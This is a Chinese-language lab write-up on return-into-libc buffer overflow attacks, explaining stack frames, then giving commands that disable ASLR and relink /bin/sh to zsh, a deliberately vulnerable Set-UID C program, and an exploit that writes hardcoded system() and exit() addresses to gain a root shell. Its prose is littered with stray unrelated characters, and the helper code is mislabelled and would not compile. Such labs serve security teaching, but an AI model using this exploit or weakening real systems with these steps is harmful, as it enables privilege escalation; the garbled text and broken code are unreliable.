Return-into-libc 攻擊可以將漏洞函數(shù)返回到內(nèi)存空間已有的動(dòng)態(tài)庫(kù)函數(shù)中睡雇。而為了理解 return-into-libc 攻擊粱甫,這里首先給出程序函數(shù)調(diào)用過(guò)程中棧幀的結(jié)構(gòu)璧瞬。
上圖給出了一個(gè)典型的函數(shù)調(diào)用時(shí)的棧幀結(jié)構(gòu)块差,該棧從高位地址向低位地址增長(zhǎng)刷后。每當(dāng)一個(gè)函數(shù)調(diào)用另一個(gè)函數(shù)向低地址方向壓棧茁裙,而當(dāng)函數(shù)返回時(shí)向高地址方向清棧弓乙。例如末融,當(dāng)main() 調(diào)用 func(arg_1,arg_2,arg_3) 時(shí)钧惧,首先將所有參數(shù)arg_1,arg_2 和 arg_3入棧。圖中參數(shù)從右向左依次被壓入棧中勾习,這是因?yàn)?C 語(yǔ)言中函數(shù)傳參是從右向左壓棧的浓瞪。然后,call指令會(huì)將返回地址壓棧巧婶,并使執(zhí)行流轉(zhuǎn)到func()乾颁。返回地址是 call 指令的下一條指令的地址,這個(gè)用于告知func ()函數(shù)返回后從main()函數(shù)的哪條指令開(kāi)始執(zhí)行英岭。進(jìn)入func函數(shù)后,通常需要將main()函數(shù)的棧底指針 ebp 保存到棧中并將當(dāng)前的棧頂指針esp保存在 ebp中作為func的棧底。接下來(lái),func函數(shù)會(huì)在棧中為局部變量等分配空間。因此铐懊,調(diào)用函數(shù)func()時(shí)的棧幀結(jié)構(gòu)如圖所示。 而當(dāng) func()執(zhí)行完成返回時(shí)leave指令將ebp拷貝到esp中清空局部變量在棧中的區(qū)域茅茂,然后從堆棧中彈出老ebp放回ebp寄存器使ebp恢復(fù)為main()函數(shù)的棧底走敌。然后ret指令從棧中獲取返回地址跌榔,返回到 main()函數(shù)中繼續(xù)執(zhí)行纲刀。 攻擊者可以利用棧中的內(nèi)容實(shí)施 return-into-libc 攻擊暂论。這是因?yàn)楣粽吣軌蛲ㄟ^(guò)緩沖區(qū)溢出改寫(xiě)返回地址為一個(gè)庫(kù)函數(shù)的地址盆耽,并且將此庫(kù)函數(shù)執(zhí)行時(shí)的參數(shù)也重新寫(xiě)入棧中。這樣當(dāng)函數(shù)調(diào)用時(shí)獲取的是攻擊者設(shè)定好的參數(shù)值,并且結(jié)束后返回時(shí)就會(huì)返回到庫(kù)函數(shù)而不是 main()映挂。而此庫(kù)函數(shù)實(shí)際上就幫助攻擊者執(zhí)行了其惡意行為。更復(fù)雜的攻擊還可以通過(guò) return-into-libc 的調(diào)用鏈(一系列庫(kù)函數(shù)的連續(xù)調(diào)用)來(lái)完成鞍时。
輸入命令安裝一些用于編譯 32 位 C 程序的東西:
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
輸入命令linux32
進(jìn)入 32 位 linux 環(huán)境锐极。輸入/bin/bash
使用 bash芳肌。
Ubuntu 和其他一些 Linux 系統(tǒng)中灵再,使用地址空間隨機(jī)化來(lái)隨機(jī)堆(heap)和棧(stack)的初始地址肋层,這使得猜測(cè)準(zhǔn)確的內(nèi)存地址變得十分困難,而猜測(cè)內(nèi)存地址是緩沖區(qū)溢出攻擊的關(guān)鍵翎迁。因此本次實(shí)驗(yàn)中槽驶,我們使用以下命令關(guān)閉這一功能:
sudo sysctl -w kernel.randomize_va_space=0
此外,為了進(jìn)一步防范緩沖區(qū)溢出攻擊及其它利用 shell 程序的攻擊鸳兽,許多 shell 程序在被調(diào)用時(shí)自動(dòng)放棄它們的特權(quán)。因此罕拂,即使你能欺騙一個(gè) Set-UID 程序調(diào)用一個(gè) shell揍异,也不能在這個(gè) shell 中保持 root 權(quán)限,這個(gè)防護(hù)措施在/bin/bash 中實(shí)現(xiàn)爆班。
linux 系統(tǒng)中衷掷,/bin/sh 實(shí)際是指向/bin/bash 或/bin/dash 的一個(gè)符號(hào)鏈接。為了重現(xiàn)這一防護(hù)措施被實(shí)現(xiàn)之前的情形柿菩,我們使用另一個(gè) shell 程序(zsh)代替/bin/bash戚嗅。下面的指令描述了如何設(shè)置 zsh 程序:
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
編寫(xiě)retlib.c
文件:
// retlib.c
// This program has a buffer overflow vulnerability.
// Our task is to exploit this vulnerability
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12]; // The following statement has a buffer overflow problem
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile); return 1;
}
編譯該程序,并設(shè)置 SET-UID枢舶。
編寫(xiě)程序讀取環(huán)境變量的程序:
// retlib.c
// This program has a buffer overflow vulnerability.
// Our task is to exploit this vulnerability
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main()
{
char *ptr;
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2]));
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}
編寫(xiě)攻擊程序:
//exploit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w"); // You need to decide the addresses and the values for X, Y, Z. The order of the following three statements does not imply the order of X, Y, Z. Actually, we intentionally scrambled the order. *//
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 16 times
*(long *) &buf[24] = 0xbffffe43 ; // "http://bin//sh"
*(long *) &buf[16] = 0xb7ea88b0 ; // system()
*(long *) &buf[28] = 0xb7e9db30 ; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
獲取內(nèi)存地址
用剛才的 getenvaddr 程序獲得 BIN_SH 地址:
export BIN_SH="/bin/sh"
echo $BIN_SH
gdb -q ./exploit
b 10
run
p system
p exit
攻擊
先運(yùn)行攻擊程序 exploit懦胞,再運(yùn)行漏洞程序 retlib,可見(jiàn)攻擊成功凉泄,獲得了 root 權(quán)限: